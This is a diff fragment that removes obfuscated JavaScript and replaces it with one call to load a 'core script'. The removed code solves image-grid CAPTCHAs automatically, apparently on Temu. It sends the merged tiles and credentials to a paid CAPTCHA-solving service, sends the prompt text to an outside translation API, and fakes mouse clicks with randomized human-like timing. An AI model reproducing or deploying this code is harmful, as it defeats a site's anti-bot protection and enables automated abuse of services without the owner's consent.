- console[_0x2aacf6(351)](_0x2aacf6(279));
- for (let _0x1975b8 = 0; _0x1975b8 < _0x1c6278[_0x2aacf6(368)]; _0x1975b8++) {
- const _0x42f726 = _0x1c6278[_0x1975b8];
- await waitForImageLoad(_0x42f726);
- if (_0x42f726[_0x2aacf6(407)] === 0 || _0x42f726[_0x2aacf6(417)] === 0) {
- console.error(_0x2aacf6(408) + (_0x1975b8 + 1) + _0x2aacf6(436));
- return;
- }
- }
- const _0x7c071f = document[_0x2aacf6(354)](_0x2aacf6(333));
- if (!_0x7c071f) {
- {
- console[_0x2aacf6(412)](_0x2aacf6(440));
- return;
- }
- }
- const _0x4c16ac = _0x7c071f[_0x2aacf6(317)][_0x2aacf6(294)]();
- console.log(_0x2aacf6(370) + _0x4c16ac);
- const _0x3fd2e9 = await translateText(_0x4c16ac);
- console.log(_0x2aacf6(427) + _0x3fd2e9);
- const _0x1be7fd = await mergeGridCaptchaImages(_0x1c6278);
- if (!_0x1be7fd) {
- console[_0x2aacf6(412)](_0x2aacf6(371));
- return;
- }
- const _0x37cf78 = {
- "username": CAPTCHA_CONFIG[_0x2aacf6(420)],
- "password": CAPTCHA_CONFIG.password,
- "typeid": CAPTCHA_CONFIG.typeid,
- "softid": CAPTCHA_CONFIG[_0x2aacf6(318)],
- "remark": _0x3fd2e9,
- "image": _0x1be7fd.base64,
- "prompt": _0x4c16ac
- };
- console[_0x2aacf6(351)]("[九宫格处理] 正在调用打码平台API...");
- const _0xee3e54 = await fetch(CAPTCHA_CONFIG.apiUrl, {
- "method": _0x2aacf6(249),
- "headers": {
- "Content-Type": "application/json"
- },
- "body": JSON.stringify(_0x37cf78)
- }),
- _0x41e1a6 = await _0xee3e54.json();
- if (_0x41e1a6.success) {
- {
- console[_0x2aacf6(351)](_0x2aacf6(269) + _0x41e1a6.data[_0x2aacf6(435)]);
- window.lastCaptchaId = _0x41e1a6.data.id;
- const _0x3fd7bd = getElementPosition(_0x2e296b);
- await simulateGridClicks(_0x3fd7bd, _0x1be7fd, _0x41e1a6[_0x2aacf6(369)].result);
- if (!(await waitForCaptchaReady())) {
- console[_0x2aacf6(412)]("[九宫格处理] 点击后加载超时");
- return;
- }
- await clickGridConfirmButton();
- !(await waitForCaptchaReady()) && console[_0x2aacf6(412)](_0x2aacf6(365));
- }
- } else console[_0x2aacf6(412)](_0x2aacf6(261) + _0x41e1a6.message);
- } catch (_0x572e67) {
- console[_0x2aacf6(412)](_0x2aacf6(254), _0x572e67);
- } finally {
- window[_0x2aacf6(343)] = false;
- window[_0x2aacf6(380)] = Date[_0x2aacf6(276)]();
- }
-}
-async function mergeGridCaptchaImages(_0xa33c2f) {
- return new Promise(_0xc0316b => {
- const _0x498ecb = _0x2bc3;
- try {
- if (_0xa33c2f[_0x498ecb(368)] !== 9) return console[_0x498ecb(412)](_0x498ecb(274)), _0xc0316b(null);
- const _0x598a0c = document[_0x498ecb(334)](_0x498ecb(389)),
- _0x186261 = _0x598a0c.getContext("2d"),
- _0x23913d = _0xa33c2f[0][_0x498ecb(407)],
- _0x5ed029 = _0xa33c2f[0].height,
- _0x1d7ddf = 7,
- _0x290619 = _0x23913d * 3 + _0x1d7ddf * 2,
- _0x5e79a6 = _0x5ed029 * 3 + _0x1d7ddf * 2;
- _0x598a0c.width = _0x290619;
- _0x598a0c[_0x498ecb(417)] = _0x5e79a6;
- for (let _0x34ef77 = 0; _0x34ef77 < 3; _0x34ef77++) {
- for (let _0x44399c = 0; _0x44399c < 3; _0x44399c++) {
- const _0x1f9bdb = _0x34ef77 * 3 + _0x44399c;
- _0x186261.drawImage(_0xa33c2f[_0x1f9bdb], _0x44399c * (_0x23913d + _0x1d7ddf), _0x34ef77 * (_0x5ed029 + _0x1d7ddf), _0x23913d, _0x5ed029);
- }
- }
- _0xc0316b({
- "base64": _0x598a0c.toDataURL(_0x498ecb(251))[_0x498ecb(280)](",")[1],
- "width": _0x290619,
- "height": _0x5e79a6,
- "imgWidth": _0x23913d,
- "imgHeight": _0x5ed029,
- "spacing": _0x1d7ddf
- });
- } catch (_0x1b51ca) {
- console[_0x498ecb(412)]("[九宫格合并] 合并图片时出错:", _0x1b51ca);
- _0xc0316b(null);
- }
- });
-}
-async function simulateGridClicks(_0x2fe73f, _0x4838e5, _0x25d16f) {
- const _0x3a675e = _0x30b83a;
- console[_0x3a675e(351)](_0x3a675e(350), _0x2fe73f, _0x3a675e(437), _0x4838e5[_0x3a675e(407)], "x", _0x4838e5[_0x3a675e(417)] + ")");
- const _0x55c53a = _0x25d16f.split("|")[_0x3a675e(346)](Boolean);
- if (_0x55c53a[_0x3a675e(368)] === 0) {
- {
- console[_0x3a675e(412)](_0x3a675e(385));
- return;
- }
- }
- const _0x150df4 = _0x55c53a[_0x3a675e(250)](_0x42c8bc => {
- {
- const _0xb96299 = _0x3a675e,
- [_0x2ba0b5, _0x54a30b] = _0x42c8bc[_0xb96299(280)](",")[_0xb96299(250)](Number);
- if (isNaN(_0x2ba0b5) || isNaN(_0x54a30b)) return console.error(_0xb96299(372) + _0x42c8bc), null;
- return {
- "x": _0x2ba0b5,
- "y": _0x54a30b
- };
- }
- }).filter(Boolean);
- if (_0x150df4[_0x3a675e(368)] === 0) return;
- for (let _0x5971b7 = 0; _0x5971b7 < _0x150df4.length; _0x5971b7++) {
- {
- const {
- x: _0x2c5ea5,
- y: _0x365275
- } = _0x150df4[_0x5971b7],
- _0x4d03c9 = Math[_0x3a675e(275)](_0x2fe73f.x + _0x2c5ea5 + 1),
- _0x48ffb5 = Math[_0x3a675e(275)](_0x2fe73f.y + _0x365275 + 1);
- console[_0x3a675e(351)](_0x3a675e(297) + (_0x5971b7 + 1) + _0x3a675e(434) + _0x4d03c9 + "," + _0x48ffb5 + _0x3a675e(402) + _0x2c5ea5 + "," + _0x365275 + ")");
- await simulateClick(_0x4d03c9, _0x48ffb5);
- await sleep(600 + Math[_0x3a675e(364)]() * 400);
- }
- }
-}
-async function refreshGridCaptcha() {
- const _0x3fa2ce = _0x30b83a;
- try {
- {
- const _0x352ba8 = document.querySelector(_0x3fa2ce(386));
- if (!_0x352ba8) {
- {
- console.error("[九宫格刷新] 未找到刷新按钮");
- return;
- }
- }
- console[_0x3fa2ce(351)](_0x3fa2ce(313));
- _0x352ba8.click();
- let _0x1a8dbc = false;
- for (let _0x4d361d = 0; _0x4d361d < 5; _0x4d361d++) {
- if (await isSpinnerVisible()) {
- {
- _0x1a8dbc = true;
- break;
- }
- }
- await sleep(300);
- }
- if (_0x1a8dbc) {
- console[_0x3fa2ce(351)](_0x3fa2ce(246));
- if (!(await waitForSpinnerToDisappear(5000))) {
- console[_0x3fa2ce(412)](_0x3fa2ce(363));
- return;
- }
- }
- await sleep(800);
- console[_0x3fa2ce(351)]("[九宫格刷新] 刷新完成");
- }
- } catch (_0x4f8045) {
- {
- console.error(_0x3fa2ce(383), _0x4f8045);
- throw _0x4f8045;
- }
- }
-}
-async function waitForCaptchaReady(_0x48cf0c = 8000) {
- const _0x11616c = _0x30b83a,
- _0x3ff722 = Date[_0x11616c(276)]();
- while (Date.now() - _0x3ff722 < _0x48cf0c) {
- const _0x1e04ad = document[_0x11616c(354)]("._2tSNOCuL");
- if (!_0x1e04ad || _0x1e04ad[_0x11616c(423)].display === _0x11616c(439)) {
- const _0x3b320e = document[_0x11616c(409)](_0x11616c(329));
- if (_0x3b320e[_0x11616c(368)] >= 9) {
- let _0xfc30cb = true;
- for (const _0x4b44a9 of _0x3b320e) {
- if (!_0x4b44a9[_0x11616c(349)] || _0x4b44a9[_0x11616c(344)] === 0) {
- _0xfc30cb = false;
- break;
- }
- }
- if (_0xfc30cb) return true;
- }
- }
- await sleep(200);
- }
- return false;
-}
-async function clickGridConfirmButton() {
- const _0x29b09b = _0x30b83a,
- _0x23f8c7 = document[_0x29b09b(354)](_0x29b09b(295));
- if (!_0x23f8c7) {
- {
- console[_0x29b09b(412)](_0x29b09b(243));
- return;
- }
- }
- const _0x2e0116 = _0x23f8c7[_0x29b09b(272)](),
- _0x281bd9 = _0x2e0116.left + _0x2e0116[_0x29b09b(407)] / 2,
- _0x1415eb = _0x2e0116[_0x29b09b(399)] + _0x2e0116[_0x29b09b(417)] / 2;
- console[_0x29b09b(351)](_0x29b09b(241) + Math[_0x29b09b(275)](_0x281bd9) + "," + Math[_0x29b09b(275)](_0x1415eb) + ")");
- const _0x31e31d = [{
- "type": _0x29b09b(278),
- "x": _0x281bd9,
- "y": _0x1415eb,
- "delay": 50
- }, {
- "type": _0x29b09b(287),
- "x": _0x281bd9,
- "y": _0x1415eb,
- "delay": 100
- }, {
- "type": "mouseup",
- "x": _0x281bd9,
- "y": _0x1415eb,
- "delay": 100
- }, {
- "type": "click",
- "x": _0x281bd9,
- "y": _0x1415eb,
- "delay": 50
- }, {
- "type": _0x29b09b(284),
- "x": _0x281bd9 + 5,
- "y": _0x1415eb + 5,
- "delay": 50
- }];
- for (const {
- type: _0x12d687,
- x: _0x3c38a1,
- y: _0x1b3fa8,
- delay: _0x6b050d
- } of _0x31e31d) {
- _0x23f8c7[_0x29b09b(429)](new MouseEvent(_0x12d687, {
- "bubbles": true,
- "cancelable": true,
- "view": window,
- "clientX": _0x3c38a1,
- "clientY": _0x1b3fa8
- }));
- await sleep(_0x6b050d + Math[_0x29b09b(364)]() * 50);
- }
-}
-async function isSpinnerVisible() {
- const _0x1dcdda = _0x30b83a,
- _0x8d7f08 = document.querySelector("._2tSNOCuL");
- return _0x8d7f08 && _0x8d7f08[_0x1dcdda(423)][_0x1dcdda(406)] !== _0x1dcdda(439);
-}
-async function waitForSpinnerToDisappear(_0x5cb161 = 5000) {
- const _0x9b818d = _0x30b83a,
- _0xa937c1 = Date.now();
- while (Date[_0x9b818d(276)]() - _0xa937c1 < _0x5cb161) {
- const _0x4e3fbe = document[_0x9b818d(354)](_0x9b818d(288));
- if (!_0x4e3fbe || _0x4e3fbe[_0x9b818d(423)].display === "none") return true;
- await sleep(200);
- }
- return false;
-}
-async function waitForImageLoad(_0x4aca20) {
- return new Promise(_0x17df03 => {
- {
- const _0x5aa851 = _0x2bc3;
- _0x4aca20[_0x5aa851(349)] ? _0x17df03() : (_0x4aca20[_0x5aa851(286)] = _0x17df03, _0x4aca20[_0x5aa851(301)] = _0x17df03);
- }
- });
-}
-function getElementPosition(_0x254b07) {
- const _0x1ef0cb = _0x30b83a,
- _0x17eea7 = _0x254b07[_0x1ef0cb(272)]();
- return {
- "x": _0x17eea7.left + window[_0x1ef0cb(323)],
- "y": _0x17eea7[_0x1ef0cb(399)] + window.scrollY,
- "width": _0x17eea7[_0x1ef0cb(407)],
- "height": _0x17eea7[_0x1ef0cb(417)]
- };
-}
-async function simulateClick(_0x3e7474, _0x52c5c0) {
- const _0x2057c9 = _0x30b83a,
- _0x16e7ab = document.elementFromPoint(_0x3e7474, _0x52c5c0);
- if (!_0x16e7ab) return;
- const _0x50379d = [new MouseEvent(_0x2057c9(287), {
- "bubbles": true,
- "clientX": _0x3e7474,
- "clientY": _0x52c5c0
- }), new MouseEvent(_0x2057c9(384), {
- "bubbles": true,
- "clientX": _0x3e7474,
- "clientY": _0x52c5c0
- }), new MouseEvent(_0x2057c9(293), {
- "bubbles": true,
- "clientX": _0x3e7474,
- "clientY": _0x52c5c0
- })];
- for (const _0x587295 of _0x50379d) {
- _0x16e7ab[_0x2057c9(429)](_0x587295);
- await sleep(50 + Math[_0x2057c9(364)]() * 50);
- }
-}
-function sleep(_0x4d88eb) {
- return new Promise(_0x12cb84 => setTimeout(_0x12cb84, _0x4d88eb));
-}
-async function waitForChange(_0x5d426b, _0x271345 = 3000) {
- const _0x423304 = _0x30b83a,
- _0x2283ba = Date[_0x423304(276)]();
- while (Date[_0x423304(276)]() - _0x2283ba < _0x271345) {
- {
- if (_0x5d426b()) return true;
- await sleep(200);
- }
- }
- return false;
-}
-async function translateText(_0x13d59b) {
- const _0x27f421 = _0x30b83a,
- _0x2d5aee = "https://www.1618.wang/api/translate",
- _0x2e71aa = encodeURIComponent(_0x13d59b);
- try {
- const _0xec0fcd = await fetch(_0x2d5aee + _0x27f421(253) + _0x2e71aa, {
- "method": _0x27f421(336),
- "headers": {
- "Accept": _0x27f421(393)
- }
- }),
- _0x1d8981 = await _0xec0fcd[_0x27f421(415)](),
- _0xa3e83d = extractTranslatedText(_0x1d8981);
- return _0xa3e83d || _0x13d59b;
- } catch (_0x3bda91) {
- console.error("[翻译功能] 翻译出错:", _0x3bda91);
- return _0x13d59b;
- }
-}
-function extractTranslatedText(_0x4877b3) {
- const _0x2e5977 = _0x30b83a,
- _0x28b388 = _0x2e5977(281),
- _0x2d5855 = _0x2e5977(245),
- _0x307cbc = _0x4877b3.indexOf(_0x28b388);
- if (_0x307cbc === -1) return null;
- const _0x1630e5 = _0x4877b3.indexOf("- ", _0x307cbc) + 4,
- _0x5217bf = _0x4877b3.indexOf(_0x2d5855, _0x1630e5);
- return _0x4877b3[_0x2e5977(395)](_0x1630e5, _0x5217bf)[_0x2e5977(294)]();
-}
-async function reportError(_0x116dfa) {
- const _0xfbdf49 = _0x30b83a,
- _0x5e3c94 = CAPTCHA_CONFIG.reportUrl;
- try {
- console[_0xfbdf49(351)]("[报错功能] 正在报错ID: " + _0x116dfa);
- const _0x1104f8 = await fetch(_0x5e3c94, {
- "method": "POST",
- "headers": {
- "Content-Type": _0xfbdf49(289)
- },
- "body": JSON.stringify({
- "id": _0x116dfa
- })
- }),
- _0x23d670 = await _0x1104f8.json();
- return _0x23d670[_0xfbdf49(360)] ? (console[_0xfbdf49(351)](_0xfbdf49(322)), _0x23d670) : (console[_0xfbdf49(412)]("[报错功能] 报错失败:", _0x23d670.message), _0x23d670);
- } catch (_0x22f74d) {
- console[_0xfbdf49(412)]("[报错功能] 请求出错:", _0x22f74d);
- return {
- "success": false,
- "message": _0xfbdf49(271)
- };
- }
-}
-async function simulateClick(_0x502e1a, _0x269637) {
- const _0x5734bc = _0x30b83a,
- _0x5e5534 = document[_0x5734bc(382)](_0x502e1a - window[_0x5734bc(413)], _0x269637 - window[_0x5734bc(268)]);
- if (!_0x5e5534) {
- {
- console.error(_0x5734bc(302) + _0x502e1a + ", " + _0x269637 + _0x5734bc(259));
- return;
- }
- }
- const _0x198692 = [{
- "type": _0x5734bc(260),
- "options": {
- "clientX": _0x502e1a,
- "clientY": _0x269637
- }
- }, {
- "type": "mouseover",
- "options": {
- "clientX": _0x502e1a,
- "clientY": _0x269637
- }
- }, {
- "type": _0x5734bc(287),
- "options": {
- "clientX": _0x502e1a,
- "clientY": _0x269637,
- "button": 0
- }
- }, {
- "type": _0x5734bc(384),
- "options": {
- "clientX": _0x502e1a,
- "clientY": _0x269637,
- "button": 0
- }
- }, {
- "type": "click",
- "options": {
- "clientX": _0x502e1a,
- "clientY": _0x269637,
- "button": 0
- }
- }];
- for (const _0x3be7c8 of _0x198692) {
- {
- const _0x230cf4 = new MouseEvent(_0x3be7c8[_0x5734bc(428)], {
- "bubbles": true,
- "cancelable": true,
- "view": window,
- ..._0x3be7c8[_0x5734bc(266)]
- });
- _0x5e5534.dispatchEvent(_0x230cf4);
- await sleep(50 + Math[_0x5734bc(364)]() * 50);
- }
- }
-}
-function sleep(_0x126c8b) {
- return new Promise(_0x39bf63 => setTimeout(_0x39bf63, _0x126c8b));
-}
-function waitForChange(_0x2700bd, _0x4807e4 = 6000) {
- return new Promise(_0x119538 => {
- {
- const _0x3255f7 = Date.now(),
- _0x20f7f5 = () => {
- const _0x59cd70 = _0x2bc3;
- if (_0x2700bd()) _0x119538(true);else Date[_0x59cd70(276)]() - _0x3255f7 >= _0x4807e4 ? _0x119538(false) : setTimeout(_0x20f7f5, 100);
- };
- _0x20f7f5();
- }
- });
-}
-async function isSpinnerVisible() {
- const _0x3a080a = _0x30b83a,
- _0x576174 = document.querySelector(".root-2tSNO.Picture-spinner, .root-2tSNO.SemanticsVerify-spinner");
- if (!_0x576174) return false;
- const _0x5f3c55 = window[_0x3a080a(335)](_0x576174);
- return _0x5f3c55[_0x3a080a(406)] !== _0x3a080a(439) && _0x5f3c55[_0x3a080a(324)] !== _0x3a080a(345);
-}
-async function waitForSpinnerToDisappear(_0x2359ce = 10000) {
- const _0x202c8a = _0x30b83a,
- _0x5935c6 = Date[_0x202c8a(276)]();
- while (Date[_0x202c8a(276)]() - _0x5935c6 < _0x2359ce) {
- if (!(await isSpinnerVisible())) return;
- await new Promise(_0x3b557c => setTimeout(_0x3b557c, 200));
- }
- console[_0x202c8a(376)]("[加载检测] 等待加载动画超时");
-}
-function waitForImageLoad(_0x515208) {
- return new Promise(_0x21c5b7 => {
- const _0xfaea01 = _0x2bc3;
- _0x515208[_0xfaea01(349)] ? _0x21c5b7() : (_0x515208[_0xfaea01(286)] = () => _0x21c5b7(), _0x515208[_0xfaea01(301)] = () => _0x21c5b7());
- });
-}
-function initCaptchaAutoSolverWithCheck() {
- const _0x3b07cd = _0x30b83a;
- document[_0x3b07cd(421)] !== _0x3b07cd(349) ? window.addEventListener(_0x3b07cd(387), () => {
- setTimeout(conditionalInit, 3000);
- }) : setTimeout(conditionalInit, 3000);
-}
-function conditionalInit() {
- const _0x56d230 = _0x30b83a;
- try {
- {
- const _0x3168bf = document[_0x56d230(354)]("#temu-log-container");
- if (!_0x3168bf) return;
- initCaptchaAutoSolver();
- }
- } catch (_0x1b4845) {
- console.error("[系统启动] 初始化检查时出错:", _0x1b4845);
- }
-}
-initCaptchaAutoSolverWithCheck();
\ No newline at end of file
+加载核心脚本();
\ No newline at end of file
diff --git a/output.py b/output.py
index 2764f0a..942394c 100644
Binary files a/output.py and b/output.py differ